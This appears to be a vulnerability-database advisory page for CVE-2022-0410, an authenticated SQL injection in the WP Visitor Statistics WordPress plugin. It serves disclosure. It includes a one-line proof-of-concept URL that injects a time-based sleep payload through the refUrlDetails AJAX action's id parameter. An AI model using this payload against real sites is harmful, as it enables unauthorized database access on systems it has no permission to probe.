Lucene search
Krzysztof ZającWPVDB-ID:0D6B89F5-CF12-4AD4-831B-FED26763BA20HistoryFeb 14, 2022 - 12:00 a.m.
WP Visitor Statistics (Real Time Traffic) < 5.6 - Subscriber+ SQL Injection
2022-02-1400:00:00
Krzysztof Zając
wpscan.com
9
0.001 Low
EPSS
Percentile
37.9%
The plugin does not sanitise and escape the id parameter before using it in a SQL statement via the refUrlDetails AJAX action, available to any authenticated user, leading to a SQL injection
PoC
https://example.com/wp-admin/admin-ajax.php?action=refUrlDetails&id;=sleep(1) -- g
| CPE | Name | Operator | Version |
|---|---|---|---|
| wp-stats-manager | lt | 4.8 |
Related
nvd
nvd
CVE-2022-0410
2022-03-07 09:15:09
prion
prion
Sql injection
2022-03-07 09:15:00
cve
cve
CVE-2022-0410
2022-03-07 09:15:09
wpexploit
wpexploit
WP Visitor Statistics (Real Time Traffic) < 5.6 - Subscriber+ SQL Injection
2022-02-14 00:00:00
cvelist
cvelist
cnvd
cnvd
WordPress The WP Visitor Statistics Plugin SQL Injection Vulnerability
2022-03-09 00:00:00